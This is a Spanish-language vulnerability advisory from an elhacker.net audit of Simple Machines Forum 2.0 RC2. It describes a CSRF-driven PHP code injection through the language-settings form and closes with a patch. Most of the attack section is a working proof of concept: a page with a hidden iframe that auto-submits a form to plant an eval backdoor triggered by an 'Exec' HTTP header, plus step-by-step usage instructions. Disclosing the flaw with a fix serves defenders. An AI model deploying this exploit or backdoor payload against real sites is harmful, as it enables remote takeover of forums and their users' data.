DetallesDescripción: | Código de ejecución remota PHP |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/ManageServer.php:1298 |
URL Vulnerable: | Themes/default/languages/index.english.php |
PoC: | en_US\\\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} // |
Afecta a: | SMF 2.0 RC2 |
DescripciónLa vulnerabilidad se localiza en el archivo Sources/ManageServer.php desde
la linea 1298
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1298 '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';', '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';', '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';', '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';', '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ?
'true' : 'false') . ';', );
y el problema esque SMF filtra de mala forma los carácteres especiales que pueden ser incluidos ya que aunque procesan via addslashses el preg_replace los omite como si fueran parte de la misma expresión regular.
Si vamos a la sección
Configuraciones->Lenguajes->Editar lenguajes
Podemos ver el listado de lenguajes, si le haces click sobre cualquier
lenguaje irás directamente a su edición y podrás notar dos cosas.
1. Al enviarte a esa sección puedes ver que te adjunta un token a la url
para evitar un ataque de tipo CSRF pero si se lo eliminas puedes ver que la
sección se visualiza de igual forma, por lo tanto si actualizamos las
configuraciones sin enviar el token vemos que se guarda igual.
En SMF hay muchas funciones y secciones que aparentemente se ve un token
pero no las usa. Este es un CSRF de ejecución de comando arbitrario
primeramente ya que un atacante remoto puede engañar al administrador
haciendo que visualize una web especialemnte preparada para el ataque y
modificar las configuraciones a gusto.
2. Si haces algún cambio en cualquier input y le das en guardar lo que hace
SMF no es guardar los valores en la base de datos sino sobreescribir
directamente el archivo de elnguajes del theme utilizado por lo tanto lo
que escribas de configuración se verá en el archivo principal de lenguaje
del theme.
3. El bug consiste principalmente en que SMF no filtra adecuadamente estos
inputs. Originalemnte en el archivo
Themes/default/languages/index.english.php dice así:
$txt['lang_locale'] = 'en_US';
$txt['lang_dictionary'] = 'en';
$txt['lang_spelling'] = 'american';
Si intentamos escribir una comilla simple SMF le agrega un slash intentando
invalidar la inyección de código pero no filtra adecuadamente el carácter
"\" por lo tanto cuando insertamos una comilla el código queda así:
$txt['lang_locale'] = 'en_US\'test';
por lo tanto aplicamos bypass y escribimos "\'" para que quede así:
$txt['lang_locale'] = 'en_US\\'test';
Por lo tanto el primer slash invalida el segundo transformandolo en un
string y validando la comilla simple, luego de eso inyectamos nuestro
código arbitrario sin comillas y cerramos con un cmentario para invalidar
el resto de la linea y evitar que se produzca un error.
Por ejemplo "\';phpinfo();//" quedaría:
$txt['lang_locale'] = 'en_US\\';phpinfo();//';
ejecutando el código de forma arbitraria y remota gracias a la falta de
token (CSRF).
PoC:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>:O</title>
</head>
<?php
/*
Prueba de concepto. Auditoría a SMF 2.0 de parte del grupo de auditores de Elhacker.Net
https://foro.elhacker.net/nivel_web/auditoria_de_seguridad_hacia_simple_machines_forum_20-t271199.0.html
*/
/* Configuraciones */
$foro_vulnerable = '';
if($_GET['act'] == 'frame'){
?>
<script>
function ejecutar(){
document.getElementById('payload').value = 'en_US\\\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} //';
document.getElementById('form').submit();
}
</script>
<body onload="ejecutar();">
<form id="form" method="post" action="<?php echo $foro_vulnerable; ?>index.php?action=admin;area=languages;sa=editlang;lid=english">
<input type="hidden" name="character_set" value="ISO-8859-1" />
<input type="hidden" name="locale" id="payload" value="" />
<input type="hidden" name="dictionary" value="en" />
<input type="hidden" name="spelling" value="american" />
<input type="hidden" name="save_main" value="Save" />
</form>
</body>
<?php }else{ ?>
<body style="text-align: center;">
<h2 style="font-weight: bold; text-decoration: underline;">
Prueba de concepto
</h2>
<hr />
<div style="text-align: center;">
<img width="400" height="322" src="http://i207.photobucket.com/albums/bb73/moonlightj/HQczsxCxHV_nooooooo-i-cant-has-pres.jpg" />
<img width="400" height="322" src="http://i492.photobucket.com/albums/rr283/Hoodano12/n1559202619_124094_6213.jpg" />
</div>
<hr />
<img src="http://th40.photobucket.com/albums/e245/abbbies/th_scream.jpg" />
<img src="http://th39.photobucket.com/albums/e156/kimtisha/th_AUG2008011bw.jpg" />
<img src="http://th132.photobucket.com/albums/q9/PhilVassar/th_MarissaFile.jpg" />
<img src="http://th873.photobucket.com/albums/ab296/jrvohler/th_no.jpg" />
<img src="http://th306.photobucket.com/albums/nn256/s13vin4t0r/th_BSODGATES.jpg" />
<img src="http://th296.photobucket.com/albums/mm194/Spalders/th_nooooooo-not-the-bafftub.jpg" />
<img src="http://th233.photobucket.com/albums/ee182/vinayg18/blog/th_scary_hillary_clinton.jpg" />
<img src="http://th732.photobucket.com/albums/ww321/TSCC_Munter/th_nooooooo.jpg" />
<img src="http://th617.photobucket.com/albums/tt254/webrougt97/th_fred14.jpg" />
<img src="http://th257.photobucket.com/albums/hh209/Arganaut/th_Desecration_by_Louieville_XXIII.jpg" />
<img src="http://th4.photobucket.com/albums/y142/Tornadopotato/Photos/th_100_2521.jpg" />
<hr />
<iframe style="visibility: hidden; position: absolute; top:0px; left: 0px;" src="<?php echo $_SERVER['SCRIPT_URI']; ?>?act=frame"></iframe>
</body>
<?php } ?>
</html>
1. Ingresar como administrador al foro de pruebas
2. Modificar el archivo donde dice $foro_vulnerable=''; escribiendo la
dirección del foro sin el index.php.
3. Visualizar el archivo
Luego que visualizes el archivo tu foro se habrá infectado y a la vista de
todos no se verá absolutamente nada. Para su ejecución debes enviar un
header desde tu explorador con la variable "Exec" mas su ejecución, como
por ejemplo "Exec: phpinfo();" ya que el payload de la prueba de concepto
es la siguiente:
en_US\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} //
Entonces se le agregará el slash a la comilla y el slash puesto con anterioridad no será modificado quedando un \\' invalodando el slash que invalidaba a la comilla.
SoluciónCódigo original de SMF 2.0 RC2 en Sources/ManageServer.php linea 1298
'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';', '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';', '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';', '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';', '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ?
'true' : 'false') . ';', );
Debe ser reemplazado por
'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['character_set'])) . '\';', '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['locale'])) . '\';', '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['dictionary'])) . '\';', '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['spelling'])) . '\';', '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ?
'true' : 'false') . ';', );